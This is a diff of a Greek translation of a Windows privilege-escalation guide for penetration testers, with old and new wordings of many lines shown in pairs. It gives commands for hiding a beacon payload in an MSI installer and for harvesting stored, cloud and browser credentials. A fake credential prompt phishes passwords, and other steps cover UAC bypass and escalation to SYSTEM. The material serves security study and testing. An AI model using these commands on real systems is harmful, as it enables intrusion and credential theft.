- Κάντε διπλό κλικ στον **Φάκελο Εφαρμογής**, επιλέξτε το αρχείο **beacon.exe** σας και κάντε κλικ στο **OK**. Αυτό θα διασφαλίσει ότι το beacon payload θα εκτελείται μόλις εκτελείται ο εγκαταστάτης.
- Κάτω από τις **Ιδιότητες Προσαρμοσμένης Ενέργειας**, αλλάξτε το **Run64Bit** σε **True**.
- Τέλος, **κατασκευάστε το**.
- Αν εμφανιστεί η προειδοποίηση `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, βεβαιωθείτε ότι έχετε ρυθμίσει την πλατφόρμα σε x64.
@ -261,13 +263,13 @@ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
```
### WEF
Το Windows Event Forwarding είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα logs.
Η προώθηση συμβάντων των Windows είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα αρχεία καταγραφής.
```bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
```
### LAPS
**LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, διασφαλίζοντας ότι κάθε κωδικός πρόσβασης είναι **μοναδικός, τυχαίος και ενημερώνεται τακτικά** σε υπολογιστές που είναι συνδεδεμένοι σε τομέα. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν λάβει επαρκείς άδειες μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς πρόσβασης διαχειριστή αν είναι εξουσιοδοτημένοι.
**LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, διασφαλίζοντας ότι κάθε κωδικός είναι **μοναδικός, τυχαίος και ενημερώνεται τακτικά** σε υπολογιστές που είναι συνδεδεμένοι σε τομέα. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν λάβει επαρκείς άδειες μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς πρόσβασης διαχειριστή αν είναι εξουσιοδοτημένοι.
{{#ref}}
../active-directory-methodology/laps.md
@ -289,7 +291,7 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
```
### Credentials Guard
**Credential Guard** εισήχθη στα **Windows 10**. Σκοπός του είναι να προστατεύει τα διαπιστευτήρια που αποθηκεύονται σε μια συσκευή από απειλές όπως οι επιθέσεις pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
**Credential Guard** εισήχθη στα **Windows 10**. Σκοπός του είναι να προστατεύει τα διαπιστευτήρια που είναι αποθηκευμένα σε μια συσκευή από απειλές όπως οι επιθέσεις pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
@ -304,7 +306,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
### Καταμέτρηση Χρηστών & Ομάδων
Πρέπει να ελέγξετε αν κάποια από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα
Πρέπει να ελέγξετε αν κάποιες από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα
```bash
# CMD
net users %username% #Me
@ -359,7 +361,7 @@ powershell -command "Get-Clipboard"
### Άδειες Αρχείων και Φακέλων
Πρώτα απ' όλα, καταγράψτε τις διαδικασίες **ελέγξτε για κωδικούς πρόσβασης μέσα στη γραμμή εντολών της διαδικασίας**.\
Ελέγξτε αν μπορείτε να **επικαλύψετε κάποιο εκτελέσιμο που τρέχει** ή αν έχετε άδειες εγγραφής στον φάκελο του εκτελέσιμου για να εκμεταλλευτείτε πιθανές [**επιθέσεις DLL Hijacking**](dll-hijacking/index.html):
Ελέγξτε αν μπορείτε να **επικαλύψετε κάποιο εκτελέσιμο που τρέχει** ή αν έχετε άδειες εγγραφής στον φάκελο εκτελέσιμων για να εκμεταλλευτείτε πιθανές [**επιθέσεις DLL Hijacking**](dll-hijacking/index.html):
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -370,9 +372,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
Πάντα ελέγξτε για πιθανές [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να κερδίσετε δικαιώματα**](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
Πάντα ελέγξτε για πιθανές [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να κλιμακώσετε τα δικαιώματα](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
**Έλεγχος δικαιωμάτων των δυαδικών αρχείων των διαδικασιών**
**Έλεγχος δικαιωμάτων των δυαδικών αρχείων των διεργασιών**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
@ -399,7 +401,7 @@ procdump.exe -accepteula -ma <proc_name_tasklist>
**Εφαρμογές που εκτελούνται ως SYSTEM μπορεί να επιτρέπουν σε έναν χρήστη να εκκινήσει ένα CMD ή να περιηγηθεί σε καταλόγους.**
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
Παράδειγμα: "Windows Help and Support" (Windows + F1), αναζητήστε "command prompt", κάντε κλικ στο "Click to open Command Prompt"
## Services
@ -490,7 +492,7 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >>
### Υπηρεσίες μητρώου τροποποίηση δικαιωμάτων
Πρέπει να ελέγξετε αν μπορείτε να τροποποιήσετε οποιοδήποτε μητρώο υπηρεσίας.\
Μπορείτε να **ελέγξετε** τα **δικαιώματά** σας πάνω σε ένα **μητρώο** υπηρεσίας κάνοντας:
Μπορείτε να **ελέγξετε** τα **δικαιώματά** σας σε ένα **μητρώο** υπηρεσίας κάνοντας:
```bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
@ -523,7 +525,7 @@ C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
```
Καταγράψτε όλα τα μη παρατεταμένα μονοπάτια υπηρεσιών, εξαιρώντας αυτά που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows:
Καταγράψτε όλα τα μη παρατεθέντα μονοπάτια υπηρεσιών, εξαιρώντας αυτά που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows:
```powershell
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
@ -610,7 +612,7 @@ driverquery /SI
```
## PATH DLL Hijacking
Αν έχετε **δικαιώματα εγγραφής μέσα σε έναν φάκελο που είναι παρών στο PATH** θα μπορούσατε να είστε σε θέση να υποκλέψετε μια DLL που φορτώνεται από μια διαδικασία και **να κλιμακώσετε τα δικαιώματα**.
Αν έχετε **δικαιώματα εγγραφής μέσα σε έναν φάκελο που είναι παρών στο PATH** θα μπορούσατε να είστε σε θέση να υποκλέψετε μια DLL που φορτώνεται από μια διαδικασία και να **κλιμακώσετε τα δικαιώματα**.
Ελέγξτε τα δικαιώματα όλων των φακέλων μέσα στο PATH:
```bash
@ -646,7 +648,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```
### Ανοιχτές Θύρες
Ελέγξτε για **περιορισμένες υπηρεσίες** από το εξωτερικό
Ελέγξτε για **περιορισμένες υπηρεσίες** από έξω
```bash
netstat -ano #Opened ports?
```
@ -664,7 +666,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
[**Ελέγξτε αυτή τη σελίδα για εντολές σχετικές με το Τείχος Προστασίας**](../basic-cmd-for-pentesters.md#firewall) **(λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)**
Περισσότερες[ εντολές για αναγνώριση δικτύου εδώ](../basic-cmd-for-pentesters.md#network)
Περισσότερες [εντολές για αναγνώριση δικτύου εδώ](../basic-cmd-for-pentesters.md#network)
### Windows Subsystem for Linux (wsl)
```bash
@ -701,11 +703,11 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
### Credentials manager / Windows vault
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Η Windows Vault αποθηκεύει τα διαπιστευτήρια χρηστών για διακομιστές, ιστοσελίδες και άλλα προγράμματα που **Windows** μπορεί να **συνδέσει τους χρήστες αυτόματα**. Στην πρώτη περίπτωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήρια τους για το Facebook, τα διαπιστευτήρια Twitter, τα διαπιστευτήρια Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των προγραμμάτων περιήγησης. Αλλά δεν είναι έτσι.
Η Windows Vault αποθηκεύει τα διαπιστευτήρια χρηστών για διακομιστές, ιστότοπους και άλλα προγράμματα που **Windows** μπορεί να **συνδέσει τους χρήστες αυτόματα**. Στην πρώτη περίπτωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήρια τους για το Facebook, τα διαπιστευτήρια του Twitter, τα διαπιστευτήρια του Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των προγραμμάτων περιήγησης. Αλλά δεν είναι έτσι.
Η Windows Vault αποθηκεύει διαπιστευτήρια που το Windows μπορεί να συνδέσει τους χρήστες αυτόματα, που σημαίνει ότι οποιαδήποτε **εφαρμογή Windows που χρειάζεται διαπιστευτήρια για να αποκτήσει πρόσβαση σε μια πηγή** (διακομιστής ή ιστοσελίδα) **μπορεί να χρησιμοποιήσει αυτόν τον Credential Manager** & Windows Vault και να χρησιμοποιήσει τα διαπιστευτήρια που παρέχονται αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης συνεχώς.
Η Windows Vault αποθηκεύει διαπιστευτήρια που μπορεί να συνδέσει αυτόματα τους χρήστες, που σημαίνει ότι οποιαδήποτε **εφαρμογή Windows που χρειάζεται διαπιστευτήρια για να αποκτήσει πρόσβαση σε μια πηγή** (διακομιστής ή ιστότοπος) **μπορεί να χρησιμοποιήσει αυτόν τον Credential Manager** & Windows Vault και να χρησιμοποιήσει τα διαπιστευτήρια που παρέχονται αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης συνεχώς.
Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα διαπιστευτήρια για μια δεδομένη πηγή. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει την vault, θα πρέπει κάπως **να επικοινωνήσει με τον credential manager και να ζητήσει τα διαπιστευτήρια για αυτή την πηγή** από την προεπιλεγμένη αποθήκη.
Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα διαπιστευτήρια για μια δεδομένη πηγή. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει τη vault, θα πρέπει κάπως **να επικοινωνήσει με τον credential manager και να ζητήσει τα διαπιστευτήρια για αυτήν την πηγή** από την προεπιλεγμένη αποθήκη.
Χρησιμοποιήστε το `cmdkey` για να καταγράψετε τα αποθηκευμένα διαπιστευτήρια στη μηχανή.
```bash
@ -756,7 +758,7 @@ dpapi-extracting-passwords.md
Οι **PowerShell credentials** χρησιμοποιούνται συχνά για **σενάρια** και αυτοματοποιημένες εργασίες ως τρόπος αποθήκευσης κρυπτογραφημένων διαπιστευτηρίων με ευκολία. Τα διαπιστευτήρια προστατεύονται χρησιμοποιώντας **DPAPI**, που σημαίνει συνήθως ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή στον οποίο δημιουργήθηκαν.
Για να **αποκρυπτογραφήσετε** μια PS credentials από το αρχείο που την περιέχει μπορείτε να κάνετε:
Για να **αποκρυπτογραφήσετε** ένα PS credentials από το αρχείο που το περιέχει, μπορείτε να κάνετε:
```powershell
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
@ -914,7 +916,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
> [!NOTE]
> Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω κάποια ssh κλειδιά, να τα προσθέσω με `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Η καταχώρηση HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης αυθεντικοποίησης κλειδιού.
> Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω μερικά ssh keys, να τα προσθέσω με το `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Η καταχώρηση HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης αυθεντικοποίησης κλειδιού.
### Unattended files
```
@ -960,7 +962,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```
### Πιστοποιητικά Cloud
### Πιστοποιήσεις Cloud
```bash
#From user home
.aws\credentials
@ -978,7 +980,7 @@ AppData\Roaming\gcloud\access_tokens.db
Μια δυνατότητα ήταν προηγουμένως διαθέσιμη που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω των Προτιμήσεων Πολιτικής Ομάδας (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά κενά ασφαλείας. Πρώτον, τα Αντικείμενα Πολιτικής Ομάδας (GPOs), που αποθηκεύονται ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη τομέα. Δεύτερον, οι κωδικοί πρόσβασης μέσα σε αυτά τα GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό συνιστούσε σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει στους χρήστες να αποκτήσουν ανυψωμένα δικαιώματα.
Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια λειτουργία για να σαρώσει τα τοπικά κρυπτογραφημένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Όταν βρεθεί ένα τέτοιο αρχείο, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στην αναγνώριση και αποκατάσταση αυτής της ευπάθειας ασφαλείας.
Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια λειτουργία για να σαρώσει τα τοπικά κρυπτογραφημένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Μόλις βρεθεί ένα τέτοιο αρχείο, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στην αναγνώριση και αποκατάσταση αυτής της ευπάθειας ασφαλείας.
Αναζητήστε σε `C:\ProgramData\Microsoft\Group Policy\history` ή σε _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (προτού το W Vista)_ για αυτά τα αρχεία:
@ -1022,7 +1024,7 @@ Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction
</forms>
</authentication>
```
### Πιστοποιητικά OpenVPN
### OpenVPN διαπιστευτήρια
```csharp
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
@ -1052,7 +1054,7 @@ Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
```
### Ζητήστε διαπιστευτήρια
Μπορείτε πάντα να **ζητήσετε από τον χρήστη να εισάγει τα διαπιστευτήριά του ή ακόμη και τα διαπιστευτήρια ενός διαφορετικού χρήστη** αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι το **να ζητάτε** απευθείας από τον πελάτη τα **διαπιστευτήρια** είναι πραγματικά **επικίνδυνο**):
Μπορείτε πάντα να **ζητήσετε από τον χρήστη να εισάγει τα διαπιστευτήριά του ή ακόμη και τα διαπιστευτήρια ενός διαφορετικού χρήστη** αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι **η απευθείας ζήτηση** από τον πελάτη για τα **διαπιστευτήρια** είναι πραγματικά **επικίνδυνη**):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@ -1155,7 +1157,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### Ιστορικό Περιηγητών
Πρέπει να ελέγξετε για βάσεις δεδομένων όπου αποθηκεύονται οι κωδικοί πρόσβασης από **Chrome ή Firefox**.\
Επίσης, ελέγξτε την ιστορία, τα σελιδοδείκτες και τα αγαπημένα των περιηγητών ώστε ίσως να υπάρχουν αποθηκευμένοι **κωδικοί πρόσβασης** εκεί.
Επίσης, ελέγξτε την ιστορία, τα σελιδοδείκτες και τα αγαπημένα των περιηγητών ώστε ίσως να υπάρχουν αποθηκευμένοι κάποιοι **κωδικοί πρόσβασης** εκεί.
Εργαλεία για την εξαγωγή κωδικών πρόσβασης από περιηγητές:
@ -1166,7 +1168,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### **Επικαλύψεις COM DLL**
**Component Object Model (COM)** είναι μια τεχνολογία που έχει ενσωματωθεί στο λειτουργικό σύστημα Windows και επιτρέπει την **διασύνδεση** μεταξύ λογισμικών συστατικών διαφορετικών γλωσσών. Κάθε συστατικό COM **αναγνωρίζεται μέσω ενός ID κλάσης (CLSID)** και κάθε συστατικό εκθέτει λειτουργικότητα μέσω ενός ή περισσότερων διεπαφών, που αναγνωρίζονται μέσω ID διεπαφών (IIDs).
**Το Component Object Model (COM)** είναι μια τεχνολογία που έχει ενσωματωθεί στο λειτουργικό σύστημα Windows και επιτρέπει την **διασύνδεση** μεταξύ λογισμικών συστατικών διαφορετικών γλωσσών. Κάθε συστατικό COM **ταυτοποιείται μέσω ενός ID κλάσης (CLSID)** και κάθε συστατικό εκθέτει λειτουργικότητα μέσω ενός ή περισσότερων διεπαφών, που ταυτοποιούνται μέσω ID διεπαφών (IIDs).
Οι κλάσεις και οι διεπαφές COM ορίζονται στο μητρώο κάτω από **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** και **HKEY\_**_**CLASSES\_**_**ROOT\Interface** αντίστοιχα. Αυτό το μητρώο δημιουργείται συγχωνεύοντας το **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
@ -1219,19 +1221,19 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
## Leaked Handlers
Φανταστείτε ότι **μια διαδικασία που εκτελείται ως SYSTEM ανοίγει μια νέα διαδικασία** (`OpenProcess()`) με **πλήρη πρόσβαση**. Η ίδια διαδικασία **δημιουργεί επίσης μια νέα διαδικασία** (`CreateProcess()`) **με χαμηλά δικαιώματα αλλά κληρονομεί όλα τα ανοιχτά handles της κύριας διαδικασίας**.\
Έτσι, αν έχετε **πλήρη πρόσβαση στη διαδικασία με χαμηλά δικαιώματα**, μπορείτε να πιάσετε το **ανοιχτό handle της διαδικασίας με δικαιώματα που δημιουργήθηκε** με `OpenProcess()` και **να εισάγετε ένα shellcode**.\
Έτσι, αν έχετε **πλήρη πρόσβαση στη διαδικασία με χαμηλά δικαιώματα**, μπορείτε να αποκτήσετε το **ανοιχτό handle της διαδικασίας με δικαιώματα** που δημιουργήθηκε με `OpenProcess()` και **να εισάγετε ένα shellcode**.\
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
## Named Pipe Client Impersonation
Τα κοινά τμήματα μνήμης, που αναφέρονται ως **pipes**, επιτρέπουν την επικοινωνία και τη μεταφορά δεδομένων μεταξύ διαδικασιών.
Τα τμήματα κοινής μνήμης, που αναφέρονται ως **pipes**, επιτρέπουν την επικοινωνία και τη μεταφορά δεδομένων μεταξύ διαδικασιών.
Τα Windows παρέχουν μια δυνατότητα που ονομάζεται **Named Pipes**, επιτρέποντας σε άσχετες διαδικασίες να μοιράζονται δεδομένα, ακόμη και μέσω διαφορετικών δικτύων. Αυτό μοιάζει με μια αρχιτεκτονική πελάτη/διακομιστή, με ρόλους που ορίζονται ως **named pipe server** και **named pipe client**.
Όταν δεδομένα αποστέλλονται μέσω ενός pipe από έναν **πελάτη**, ο **διακομιστής** που έχει ρυθμίσει το pipe έχει τη δυνατότητα να **αναλάβει την ταυτότητα** του **πελάτη**, εφόσον έχει τα απαραίτητα δικαιώματα **SeImpersonate**. Η αναγνώριση μιας **προνομιούχου διαδικασίας** που επικοινωνεί μέσω ενός pipe που μπορείτε να μιμηθείτε παρέχει μια ευκαιρία να **κερδίσετε υψηλότερα δικαιώματα** υιοθετώντας την ταυτότητα αυτής της διαδικασίας μόλις αλληλεπιδράσει με το pipe που έχετε δημιουργήσει. Για οδηγίες σχετικά με την εκτέλεση μιας τέτοιας επίθεσης, μπορείτε να βρείτε χρήσιμες οδηγίες [**here**](named-pipe-client-impersonation.md) και [**here**](#from-high-integrity-to-system).
Επίσης, το παρακάτω εργαλείο επιτρέπει να **παρεμβάλλετε μια επικοινωνία named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράφετε και να βλέπετε όλα τα pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
Επίσης, το παρακάτω εργαλείο επιτρέπει να **παρακολουθείτε μια επικοινωνία named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράφετε και να βλέπετε όλα τα pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## Misc
@ -1251,9 +1253,9 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
## Από Χαμηλό Προνομιακό Χρήστη σε NT\AUTHORITY SYSTEM (CVE-2019-1388) / Παράκαμψη UAC
Εάν έχετε πρόσβαση στη γραφική διεπαφή (μέσω κονσόλας ή RDP) και η UAC είναι ενεργοποιημένη, σε ορισμένες εκδόσεις των Microsoft Windows είναι δυνατόν να εκτελέσετε ένα τερματικό ή οποιαδήποτε άλλη διεργασία όπως "NT\AUTHORITY SYSTEM" από έναν μη προνομιούχο χρήστη.
Εάν έχετε πρόσβαση στη γραφική διεπαφή (μέσω κονσόλας ή RDP) και η UAC είναι ενεργοποιημένη, σε ορισμένες εκδόσεις των Microsoft Windows είναι δυνατή η εκτέλεση ενός τερματικού ή οποιασδήποτε άλλης διεργασίας όπως "NT\AUTHORITY SYSTEM" από έναν μη προνομιακό χρήστη.
Αυτό καθιστά δυνατή την κλιμάκωση προνομίων και την παράκαμψη της UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν υπάρχει ανάγκη να εγκαταστήσετε οτιδήποτε και το δυαδικό αρχείο που χρησιμοποιείται κατά τη διάρκεια της διαδικασίας είναι υπογεγραμμένο και εκδοθέν από τη Microsoft.
Αυτό καθιστά δυνατή την κλιμάκωση προνομίων και την παράκαμψη της UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν υπάρχει ανάγκη εγκατάστασης οτιδήποτε και το δυαδικό αρχείο που χρησιμοποιείται κατά τη διάρκεια της διαδικασίας είναι υπογεγραμμένο και εκδοθέν από τη Microsoft.
Ορισμένα από τα επηρεαζόμενα συστήματα είναι τα εξής:
```
@ -1299,32 +1301,32 @@ Windows 10 1709 16299 link NOT opened
https://github.com/jas502n/CVE-2019-1388
## Από το Medium επίπεδο Ακεραιότητας σε Υψηλό / Παράκαμψη UAC
## Από Administrator Medium σε High Integrity Level / UAC Bypass
Διαβάστε αυτό για να **μάθετε για τα Επίπεδα Ακεραιότητας**:
Διαβάστε αυτό για να **μάθετε για τα Integrity Levels**:
{{#ref}}
integrity-levels.md
{{#endref}}
Στη συνέχεια, **διαβάστε αυτό για να μάθετε για το UAC και τις παρακάμψεις UAC:**
Στη συνέχεια, **διαβάστε αυτό για να μάθετε για το UAC και τα UAC bypasses:**
{{#ref}}
../authentication-credentials-uac-and-efs/uac-user-account-control.md
{{#endref}}
## **Από Υψηλό επίπεδο Ακεραιότητας σε Σύστημα**
## **Από High Integrity σε System**
### **Νέα υπηρεσία**
Εάν ήδη εκτελείτε μια διαδικασία Υψηλής Ακεραιότητας, η **μετάβαση σε SYSTEM** μπορεί να είναι εύκολη απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**:
Εάν ήδη εκτελείτε μια διαδικασία High Integrity, η **μετάβαση σε SYSTEM** μπορεί να είναι εύκολη απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**:
```
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
```
### AlwaysInstallElevated
Από μια διαδικασία Υψηλής Ακεραιότητας, μπορείτε να **ενεργοποιήσετε τις καταχωρίσεις μητρώου AlwaysInstallElevated** και να **εγκαταστήσετε** ένα reverse shell χρησιμοποιώντας ένα _**.msi**_ wrapper.\
Από μια διαδικασία Υψηλής Ακεραιότητας, μπορείτε να προσπαθήσετε να **ενεργοποιήσετε τις καταχωρίσεις μητρώου AlwaysInstallElevated** και να **εγκαταστήσετε** ένα reverse shell χρησιμοποιώντας ένα _**.msi**_ wrapper.\
[Περισσότερες πληροφορίες σχετικά με τα κλειδιά μητρώου που εμπλέκονται και πώς να εγκαταστήσετε ένα _.msi_ πακέτο εδώ.](#alwaysinstallelevated)
### High + SeImpersonate privilege to System
@ -1333,19 +1335,19 @@ sc start newservicename
### From SeDebug + SeImpersonate to Full Token privileges
Εάν έχετε αυτές τις προνομιακές δυνατότητες token (πιθανώς θα το βρείτε σε μια ήδη Υψηλής Ακεραιότητας διαδικασία), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε διαδικασία** (όχι προστατευμένες διαδικασίες) με το προνόμιο SeDebug, **να αντιγράψετε το token** της διαδικασίας και να δημιουργήσετε μια **τυχαία διαδικασία με αυτό το token**.\
Εάν έχετε αυτές τις προνόμια token (πιθανώς θα το βρείτε σε μια ήδη Υψηλής Ακεραιότητας διαδικασία), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε διαδικασία** (όχι προστατευμένες διαδικασίες) με το προνόμιο SeDebug, **να αντιγράψετε το token** της διαδικασίας και να δημιουργήσετε μια **τυχαία διαδικασία με αυτό το token**.\
Η χρήση αυτής της τεχνικής συνήθως **επιλέγει οποιαδήποτε διαδικασία που εκτελείται ως SYSTEM με όλα τα προνόμια token** (_ναι, μπορείτε να βρείτε διαδικασίες SYSTEM χωρίς όλα τα προνόμια token_).\
**Μπορείτε να βρείτε ένα** [**παράδειγμα κώδικα που εκτελεί την προτεινόμενη τεχνική εδώ**](sedebug-+-seimpersonate-copy-token.md)**.**
### **Named Pipes**
